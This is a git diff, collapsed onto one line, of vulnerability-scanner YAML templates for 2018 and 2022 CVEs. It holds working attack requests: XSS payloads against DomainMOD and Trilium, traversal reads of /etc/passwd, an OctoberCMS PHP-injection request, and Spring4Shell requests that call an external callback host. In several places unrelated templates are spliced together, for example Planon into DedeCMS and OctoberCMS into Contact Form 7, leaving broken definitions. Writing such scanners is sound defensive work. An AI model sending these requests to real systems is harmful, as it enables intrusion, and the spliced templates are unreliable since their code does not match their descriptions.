"apiVersion") && contains(body, "objectRef")' + + - type: status + status: + - 200 +# Enhanced by mp on 2022/06/13 diff --git a/cves/2018/CVE-2018-18323.yaml b/cves/2018/CVE-2018-18323.yaml index b1bf6658a8..c2584cfb97 100644 --- a/cves/2018/CVE-2018-18323.yaml +++ b/cves/2018/CVE-2018-18323.yaml @@ -1,20 +1,23 @@ id: CVE-2018-18323 info: - name: Centos Web Panel 0.9.8.480 LFI + name: Centos Web Panel 0.9.8.480 - Local File Inclusion author: 0x_Akoko severity: high - description: Centos Web Panel version 0.9.8.480 suffers from code execution, cross site scripting, and local file inclusion vulnerabilities. + description: | + Centos Web Panel version 0.9.8.480 suffers from local file inclusion vulnerabilities. Other vulnerabilities including cross-site scripting and remote code execution are also known to impact this version. reference: - https://packetstormsecurity.com/files/149795/Centos-Web-Panel-0.9.8.480-XSS-LFI-Code-Execution.html - http://centos-webpanel.com/ - https://www.cvedetails.com/cve/CVE-2018-18323 + - https://seccops.com/centos-web-panel-0-9-8-480-multiple-vulnerabilities/ + - https://nvd.nist.gov/vuln/detail/CVE-2018-18323 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-18323 cwe-id: CWE-22 - tags: cve,cve2018,centos,lfi + tags: cve,cve2018,centos,lfi,packetstorm requests: - method: GET @@ -31,3 +34,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/17 diff --git a/cves/2018/CVE-2018-18570.yaml b/cves/2018/CVE-2018-18570.yaml index dc4cb72724..f95c943a69 100644 --- a/cves/2018/CVE-2018-18570.yaml +++ b/cves/2018/CVE-2018-18570.yaml @@ -1,10 +1,10 @@ id: CVE-2018-18570 info: - name: Cross-Site Scripting on Planon web application + name: Planon " + - "DedeCMS Error Warning!" + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2018/CVE-2018-18775.yaml b/cves/2018/CVE-2018-18775.yaml index fccd6337af..c796734f46 100644 --- a/cves/2018/CVE-2018-18775.yaml +++ b/cves/2018/CVE-2018-18775.yaml @@ -1,18 +1,20 @@ id: CVE-2018-18775 info: - name: Cross Site Scripting in Microstrategy Web version 7 + name: Microstrategy Web 7 - Cross-Site Scripting author: 0x_Akoko severity: medium - description: Microstrategy Web, version 7, does not sufficiently encode user-controlled inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the Login.asp Msg parameter + description: Microstrategy Web 7 does not sufficiently encode user-controlled inputs, resulting in cross-site scripting via the Login.asp Msg parameter. reference: - https://www.exploit-db.com/exploits/45755 + - http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-18775 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-18775 cwe-id: CWE-79 - tags: cve,cve2018,microstrategy,xss + tags: cve2018,microstrategy,xss,edb,packetstorm,cve requests: - method: GET @@ -33,3 +35,5 @@ requests: words: - "text/html" part: header + +# Enhanced by mp on 2022/07/22 diff --git a/cves/2018/CVE-2018-18777.yaml b/cves/2018/CVE-2018-18777.yaml index 3a27937e54..bd8f749507 100644 --- a/cves/2018/CVE-2018-18777.yaml +++ b/cves/2018/CVE-2018-18777.yaml @@ -1,21 +1,21 @@ id: CVE-2018-18777 info: - name: Path traversal vulnerability in Microstrategy Web version 7 + name: Microstrategy Web 7 - Local File Inclusion author: 0x_Akoko severity: medium description: | - Directory traversal vulnerability in Microstrategy Web, version 7, in "/WebMstr7/servlet/mstrWeb" (in the parameter subpage) - allows remote authenticated users to bypass intended SecurityManager restrictions and list a parent directory via a /.. - (slash dot dot) in a pathname used by a web application. NOTE: this is a deprecated product. + Microstrategy Web 7 is vulnerable to local file inclusion via "/WebMstr7/servlet/mstrWeb" (in the parameter subpage). Remote authenticated users can bypass intended SecurityManager restrictions and list a parent directory via a /.. (slash dot dot) in a pathname used by a web application. NOTE: this is a deprecated product. reference: - https://www.exploit-db.com/exploits/45755 + - http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-18777 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N cvss-score: 4.3 cve-id: CVE-2018-18777 cwe-id: CWE-22 - tags: cve,cve2018,microstrategy,lfi,traversal + tags: traversal,edb,packetstorm,cve,cve2018,microstrategy,lfi requests: - method: GET @@ -32,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/cves/2018/CVE-2018-18778.yaml b/cves/2018/CVE-2018-18778.yaml index 72df6a4842..8d2d9a7575 100644 --- a/cves/2018/CVE-2018-18778.yaml +++ b/cves/2018/CVE-2018-18778.yaml @@ -1,18 +1,20 @@ id: CVE-2018-18778 info: - name: mini_httpd Path Traversal + name: ACME mini_httpd <1.30 - Local File Inclusion author: dhiyaneshDK severity: medium - description: ACME mini_httpd before 1.30 lets remote users read arbitrary files. + description: ACME mini_httpd before 1.30 is vulnerable to local file inclusion. reference: - https://www.acunetix.com/vulnerabilities/web/acme-mini_httpd-arbitrary-file-read/ + - http://www.acme.com/software/mini_httpd/ + - https://nvd.nist.gov/vuln/detail/CVE-2018-18778 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2018-18778 cwe-id: CWE-200 - tags: cve,cve2018,lfi + tags: cve,cve2018,lfi,mini_httpd requests: - raw: @@ -30,3 +32,5 @@ requests: - type: regex regex: - "root:.*:0:0:" + +# Enhanced by mp on 2022/07/22 diff --git a/cves/2018/CVE-2018-18925.yaml b/cves/2018/CVE-2018-18925.yaml index cff6c60e67..157abc0446 100644 --- a/cves/2018/CVE-2018-18925.yaml +++ b/cves/2018/CVE-2018-18925.yaml @@ -9,13 +9,14 @@ info: - https://www.anquanke.com/post/id/163575 - https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925 - https://nvd.nist.gov/vuln/detail/cve-2018-18925 + - https://github.com/gogs/gogs/issues/5469 + remediation: This issue will be fixed by updating to the latest version of Gogs. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-18925 cwe-id: CWE-384 - remediation: This issue will be fixed by updating to the latest version of Gogs. - tags: cve,cve2018,gogs,lfi,rce + tags: gogs,lfi,rce,vulhub,cve,cve2018 requests: - raw: diff --git a/cves/2018/CVE-2018-19136.yaml b/cves/2018/CVE-2018-19136.yaml new file mode 100644 index 0000000000..8f624d51b4 --- /dev/null +++ b/cves/2018/CVE-2018-19136.yaml @@ -0,0 +1,52 @@ +id: CVE-2018-19136 + +info: + name: DomainMOD 4.11.01 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + DomainMOD 4.11.01 is vulnerable to reflected cross-site scripting via assets/edit/registrar-account.php. + reference: + - https://www.exploit-db.com/exploits/45883/ + - https://github.com/domainmod/domainmod/issues/79 + - https://nvd.nist.gov/vuln/detail/CVE-2018-19136 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-19136 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: edb,cve,cve2018,domainmod,xss,authenticated + +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_username={{username}}&new_password={{password}} + + - | + GET /assets/edit/registrar-account.php?raid=hello%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&del=1 HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '">&really_del=1">YES' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2018/CVE-2018-19137.yaml b/cves/2018/CVE-2018-19137.yaml new file mode 100644 index 0000000000..dba405de69 --- /dev/null +++ b/cves/2018/CVE-2018-19137.yaml @@ -0,0 +1,51 @@ +id: CVE-2018-19137 + +info: + name: DomainMOD 4.11.01 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + DomainMOD 4.11.01 is vulnerable to reflected cross-site Scripting via assets/edit/ip-address.php. + reference: + - https://github.com/domainmod/domainmod/issues/79 + - https://nvd.nist.gov/vuln/detail/CVE-2018-19137 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-19137 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2018,domainmod,xss,authenticated + +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_username={{username}}&new_password={{password}} + + - | + GET /assets/edit/ip-address.php?ipid=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&del=1 HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '&really_del' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2018/CVE-2018-19326.yaml b/cves/2018/CVE-2018-19326.yaml index 934c8ab815..6ca88c667c 100644 --- a/cves/2018/CVE-2018-19326.yaml +++ b/cves/2018/CVE-2018-19326.yaml @@ -1,14 +1,17 @@ id: CVE-2018-19326 info: - name: Zyxel VMG1312-B10D 5.13AAXA.8 - Directory Traversal + name: Zyxel VMG1312-B10D 5.13AAXA.8 - Local File Inclusion author: 0x_Akoko severity: high - description: The vulnerability exists due to path traversal, as demonstrated by reading /etc/passwd. A remote unauthenticated attacker can send a specially crafted URL request containing "dot dot" sequences (/../), conduct directory traversal attack and view arbitrary files. + description: | + Zyxel VMG1312-B10D 5.13AAXA.8 is susceptible to local file inclusion. A remote unauthenticated attacker can send a specially crafted URL request containing "dot dot" sequences (/../), conduct directory traversal attacks, and view arbitrary files. reference: - https://www.exploit-db.com/exploits/45904 - https://www.cybersecurity-help.cz/vdb/SB2018120309 - https://www.zyxel.com/homepage.shtml + - https://gist.github.com/numanturle/4988b5583e5ebe501059bd368636de33 + - https://nvd.nist.gov/vuln/detail/CVE-2018-19326 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 @@ -17,7 +20,7 @@ info: metadata: verified: true shodan-query: http.html:"VMG1312-B10D" - tags: cve,cve2018,zyxel,lfi,modem,router + tags: lfi,modem,router,edb,cve,cve2018,zyxel requests: - method: GET @@ -35,3 +38,5 @@ requests: part: header words: - "application/octet-stream" + +# Enhanced by mp on 2022/06/13 diff --git a/cves/2018/CVE-2018-19365.yaml b/cves/2018/CVE-2018-19365.yaml index bd21264fb8..b27127cfd2 100644 --- a/cves/2018/CVE-2018-19365.yaml +++ b/cves/2018/CVE-2018-19365.yaml @@ -8,8 +8,9 @@ info: reference: - https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html - https://www.cvedetails.com/cve/CVE-2018-19365 + - https://raw.githubusercontent.com/WowzaMediaSystems/public_cve/main/wowza-streaming-engine/CVE-2018-19365.txt classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-19365 cwe-id: CWE-22 diff --git a/cves/2018/CVE-2018-19386.yaml b/cves/2018/CVE-2018-19386.yaml index d25228097e..2fbe11a15f 100644 --- a/cves/2018/CVE-2018-19386.yaml +++ b/cves/2018/CVE-2018-19386.yaml @@ -1,13 +1,15 @@ id: CVE-2018-19386 info: - name: SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting + name: SolarWinds Database Performance Analyzer 11.1.457 - Cross-Site Scripting author: pikpikcu severity: medium - description: SolarWinds Database Performance Analyzer 11.1.457 contains an instance of Reflected XSS in its idcStateError component, where the page parameter is reflected into the HREF of the 'Try Again' Button - on the page, aka a /iwc/idcStateError.iwc?page= URI. + description: SolarWinds Database Performance Analyzer 11.1.457 contains a reflected cross-site scripting vulnerability in its idcStateError component, where the page parameter is reflected into the HREF of the 'Try Again' Button on the page, aka a /iwc/idcStateError.iwc?page= URI. reference: - https://www.cvedetails.com/cve/CVE-2018-19386/ + - https://i.imgur.com/Y7t2AD6.png + - https://medium.com/greenwolf-security/reflected-xss-in-solarwinds-database-performance-analyzer-988bd7a5cd5 + - https://nvd.nist.gov/vuln/detail/CVE-2018-19386 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 @@ -27,4 +29,6 @@ requests: - 200 - type: word words: - - 'alert(1337)' + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/29 diff --git a/cves/2022/CVE-2022-21705.yaml b/cves/2022/CVE-2022-21705.yaml new file mode 100644 index 0000000000..b51fabc2db --- /dev/null +++ b/cves/2022/CVE-2022-21705.yaml @@ -0,0 +1,107 @@ +id: CVE-2022-21705 + +info: + name: OctoberCMS Authenticated Remote Code Execution + author: iPhantasmic + severity: high + description: | + Octobercms is a self-hosted CMS platform based on the Laravel PHP Framework. In affected versions user input was not properly sanitized before rendering. An authenticated user with the permissions to create, modify and delete website pages can exploit this vulnerability to bypass `cms.safe_mode` / `cms.enableSafeMode` in order to execute arbitrary code. This issue only affects admin panels that rely on safe mode and restricted permissions. To exploit this vulnerability, an attacker must first have access to the backend area. + remediation: | + The issue has been patched in Build 474 (v1.0.474) and v1.1.10. Users unable to upgrade should apply https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe to your installation manually. + reference: + - https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe + - https://github.com/octobercms/october/security/advisories/GHSA-79jw-2f46-wv22 + - https://cyllective.com/blog/post/octobercms-cve-2022-21705/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-21705 + cwe-id: CWE-74 + tags: cve,cve2022,authenticated,rce,cms,octobercms,injection + + +requests: + - raw: + - | # to obtain session_key and token + GET /backend/backend/auth/signin HTTP/1.1 + Host: {{Hostname}} + + - | # to perform authentication and obtain admin cookies + POST /backend/backend/auth/signin HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + _session_key={{session_key}}&_token={{token}}&postback=1&login={{username}}&password={{password}} + + - | # to inject php code in Markup editor and perform exploit + POST /backend/cms HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + X-OCTOBER-REQUEST-HANDLER: onSave + X-OCTOBER-REQUEST-PARTIALS: + X-Requested-With: XMLHttpRequest + + _session_key={{session_key}}&_token={{token}}&settings%5Btitle%5D={{randstr}}&settings%5Burl%5D=%2F{{randstr}}&fileName={{randstr}}&settings%5Blayout%5D=&settings%5Bdescription%5D=&settings%5Bis_hidden%5D=0&settings%5Bmeta_title%5D=&settings%5Bmeta_description%5D=&markup=%3C%3Fphp%0D%0A%0D%0Afunction+onInit()+%7B%0D%0A++++phpinfo()%3B%0D%0A%7D%0D%0A%0D%0A%3F%3E%0D%0A%3D%3D%0D%0A&code=&templateType=page&templatePath=&theme=demo&templateMtime=&templateForceSave=0 + + - | # to obtain theme + POST /backend/cms HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + X-OCTOBER-REQUEST-HANDLER: onCreateTemplate + X-OCTOBER-REQUEST-PARTIALS: + X-Requested-With: XMLHttpRequest + + _session_key={{session_key}}&_token={{token}}&search=&type=page + + - | # to access the template page for generated exploit + POST /backend/cms HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + X-OCTOBER-REQUEST-HANDLER: onOpenTemplate + X-OCTOBER-REQUEST-PARTIALS: + X-Requested-With: XMLHttpRequest + + _session_key={{session_key}}&_token={{token}}&search=&{{theme}}=demo&type=page&path={{randstr}}.htm + + cookie-reuse: true + + extractors: + - type: xpath + name: session_key + attribute: value + xpath: + - "/html/body/div[1]/div/div[2]/div/div/form/input[1]" + internal: true + # Obtain _session_key for current OctoberCMS session + + - type: xpath + name: token + attribute: value + xpath: + - "/html/body/div[1]/div/div[2]/div/div/form/input[2]" + internal: true + # Obtain _token for current OctoberCMS session + + - type: regex + name: theme + part: body + group: 1 + regex: + - '' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "Contact Form 7" + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-22536.yaml b/cves/2022/CVE-2022-22536.yaml index 7c43a0bb2e..6afb76b607 100644 --- a/cves/2022/CVE-2022-22536.yaml +++ b/cves/2022/CVE-2022-22536.yaml @@ -4,9 +4,7 @@ info: name: SAP Memory Pipes (MPI) Desynchronization author: pdteam severity: critical - description: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable to request smuggling and request concatenation - attacks. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary web caches. A successful attack - could result in complete compromise of Confidentiality, Integrity and Availability of the system. + description: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable to request smuggling and request concatenation attacks. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system. reference: - https://nvd.nist.gov/vuln/detail/CVE-2022-22536 - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022 @@ -14,10 +12,12 @@ info: - https://blogs.sap.com/2022/02/11/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation-in-sap-netweaver-sap-content-server-and-sap-web-dispatcher/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.0 + cvss-score: 10 cve-id: CVE-2022-22536 cwe-id: CWE-444 - tags: cve,cve2022,sap,smuggling,netweaver,web-dispatcher,memory-pipes + metadata: + shodan-query: http.favicon.hash:-266008933 + tags: cve,cve2022,sap,smuggling,netweaver,web-dispatcher,memory-pipes,kev requests: - raw: diff --git a/cves/2022/CVE-2022-2290.yaml b/cves/2022/CVE-2022-2290.yaml new file mode 100644 index 0000000000..48553b4892 --- /dev/null +++ b/cves/2022/CVE-2022-2290.yaml @@ -0,0 +1,48 @@ +id: CVE-2022-2290 + +info: + name: Trilium - Cross-Site Scripting + author: dbrwsky + severity: medium + description: Cross-site Scripting (XSS) - Reflected in GitHub repository zadam/trilium prior to 0.52.4, 0.53.1-beta. + reference: + - https://huntr.dev/bounties/367c5c8d-ad6f-46be-8503-06648ecf09cf/ + - https://github.com/zadam/trilium + - https://nvd.nist.gov/vuln/detail/CVE-2022-2290 + - https://github.com/zadam/trilium/commit/3faae63b849a1fabc31b823bb7af3a84d32256a7 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-2290 + cwe-id: CWE-79 + metadata: + shodan-query: title:"Trilium Notes" + verified: "true" + tags: cve,cve2022,xss,trilium,huntr + +requests: + - method: GET + path: + - '{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E' + - '{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E' + - '{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename' + + stop-at-first-match: true + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "No handler matched for custom " + - "Note '' not found" + condition: or + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 404 diff --git a/cves/2022/CVE-2022-22947.yaml b/cves/2022/CVE-2022-22947.yaml index 8c77748f47..2b859809f8 100644 --- a/cves/2022/CVE-2022-22947.yaml +++ b/cves/2022/CVE-2022-22947.yaml @@ -4,8 +4,7 @@ info: name: Spring Cloud Gateway Code Injection author: pdteam severity: critical - description: Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker - could make a maliciously crafted request that could allow arbitrary remote execution on the remote host. + description: Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host. reference: - https://nvd.nist.gov/vuln/detail/CVE-2022-22947 - https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/ @@ -13,8 +12,11 @@ info: - https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published - https://tanzu.vmware.com/security/cve-2022-22947 classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10 cve-id: CVE-2022-22947 - tags: cve,cve2022,apache,spring,vmware,actuator,oast + cwe-id: CWE-94 + tags: cve,cve2022,apache,spring,vmware,actuator,oast,kev requests: - raw: diff --git a/cves/2022/CVE-2022-22954.yaml b/cves/2022/CVE-2022-22954.yaml index 7c8bd55cf5..886c9cc465 100644 --- a/cves/2022/CVE-2022-22954.yaml +++ b/cves/2022/CVE-2022-22954.yaml @@ -1,21 +1,24 @@ id: CVE-2022-22954 info: - name: VMware Workspace ONE Access - Freemarker SSTI + name: VMware Workspace ONE Access - Server-Side Template Injection author: sherlocksecurity severity: critical - description: An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. Successful exploitation - could result in remote code execution by exploiting a server-side template injection flaw. + description: | + VMware Workspace ONE Access is susceptible to a remote code execution vulnerability due to a server-side template injection flaw. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. reference: - https://www.tenable.com/blog/vmware-patches-multiple-vulnerabilities-in-workspace-one-vmsa-2022-0011 + - https://www.vmware.com/security/advisories/VMSA-2022-0011.html + - http://packetstormsecurity.com/files/166935/VMware-Workspace-ONE-Access-Template-Injection-Command-Execution.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-22954 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-22954 - cwe-id: CWE-22 + cwe-id: CWE-94 metadata: shodan-query: http.favicon.hash:-1250474341 - tags: cve,cve2022,vmware,ssti,workspaceone + tags: workspaceone,kev,tenable,packetstorm,cve,cve2022,vmware,ssti requests: - method: GET @@ -25,9 +28,12 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "Authorization context is not valid" - type: status status: - - 400 \ No newline at end of file + - 400 + +# Enhanced by mp on 2022/05/19 diff --git a/cves/2022/CVE-2022-22963.yaml b/cves/2022/CVE-2022-22963.yaml index f0cceb1d51..f08a8e8a9e 100644 --- a/cves/2022/CVE-2022-22963.yaml +++ b/cves/2022/CVE-2022-22963.yaml @@ -1,18 +1,24 @@ id: CVE-2022-22963 info: - name: Spring Cloud Function SPEL RCE + name: Spring Cloud - Remote Code Execution author: Mr-xn,Adam Crosser severity: critical + description: | + Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions are susceptible to remote code execution vulnerabilities. When using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources. reference: - https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f - https://github.com/cckuailong/spring-cloud-function-SpEL-RCE - https://tanzu.vmware.com/security/cve-2022-22963 - https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/ - https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection + - https://nvd.nist.gov/vuln/detail/CVE-2022-22963 classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 cve-id: CVE-2022-22963 - tags: cve,cve2022,springcloud,rce + cwe-id: CWE-94 + tags: vulhub,cve,cve2022,springcloud,rce,kev requests: - raw: @@ -36,3 +42,5 @@ requests: - type: status status: - 500 + +# Enhanced by mp on 2022/05/19 diff --git a/cves/2022/CVE-2022-22965.yaml b/cves/2022/CVE-2022-22965.yaml index 1a4310a65d..bfbd008378 100644 --- a/cves/2022/CVE-2022-22965.yaml +++ b/cves/2022/CVE-2022-22965.yaml @@ -1,30 +1,40 @@ id: CVE-2022-22965 info: - name: Spring Framework RCE via Data Binding on JDK 9+ (Spring4Shell) + name: Spring Framework - Remote Code Execution author: justmumu,arall,dhiyaneshDK,akincibor severity: critical - description: A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR - deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other - ways to exploit it. + description: | + A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it. reference: - https://tanzu.vmware.com/security/cve-2022-22965 - https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/ - https://twitter.com/RandoriAttack/status/1509298490106593283 - https://mp.weixin.qq.com/s/kgw-O4Hsd9r2vfme3Y2Ynw - https://twitter.com/_0xf4n9x_/status/1509935429365100546 + - https://nvd.nist.gov/vuln/detail/cve-2022-22965 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-22965 - cwe-id: CWE-770 - remediation: 5.3.x users should upgrade to 5.3.18+, 5.2.x users should upgrade to 5.2.20+. - tags: cve,cve2022,rce,spring,injection,oast,intrusive + cwe-id: CWE-94 + tags: cve,cve2022,rce,spring,injection,oast,intrusive,kev requests: - - method: GET - path: - - "{{BaseURL}}/?class.module.classLoader.resources.context.configFile=https://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx" + - raw: + - | + POST {{BaseURL}} HTTP/1.1 + Content-Type: application/x-www-form-urlencoded + + class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx + + - | + GET /?class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1 + + payloads: + interact_protocol: + - http + - https matchers-condition: and matchers: @@ -38,26 +48,3 @@ requests: words: - "User-Agent: Java" case-insensitive: true - - - method: POST - path: - - "{{BaseURL}}" - - headers: - Content-Type: application/x-www-form-urlencoded - - body: | - class.module.classLoader.resources.context.configFile=https://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - - - type: word - part: interactsh_request - words: - - "User-Agent: Java" - case-insensitive: true \ No newline at end of file diff --git a/cves/2022/CVE-2022-22972.yaml b/cves/2022/CVE-2022-22972.yaml new file mode 100644 index 0000000000..825cf0625b --- /dev/null +++ b/cves/2022/CVE-2022-22972.yaml @@ -0,0 +1,106 @@ +id: CVE-2022-22972 + +info: + name: VMware Workspace ONE Access/Identity Manager/vRealize Automation - Authentication Bypass + author: For3stCo1d,princechaddha + severity: critical + description: | + VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate. + reference: + - https://github.com/horizon3ai/CVE-2022-22972 + - https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive + - https://www.vmware.com/security/advisories/VMSA-2022-0014.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-22972 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-22972 + cwe-id: CWE-287 + metadata: + fofa-query: app="vmware-Workspace-ONE-Access" || app="vmware-Identity-Manager" || app="vmware-vRealize" + tags: cve,cve2022,vmware,auth-bypass,oast + +requests: + - raw: + - | + GET /vcac/ HTTP/1.1 + Host: {{Hostname}} + + - | + GET /vcac/?original_uri={{RootURL}}%2Fvcac HTTP/1.1 + Host: {{Hostname}} + + - | + POST 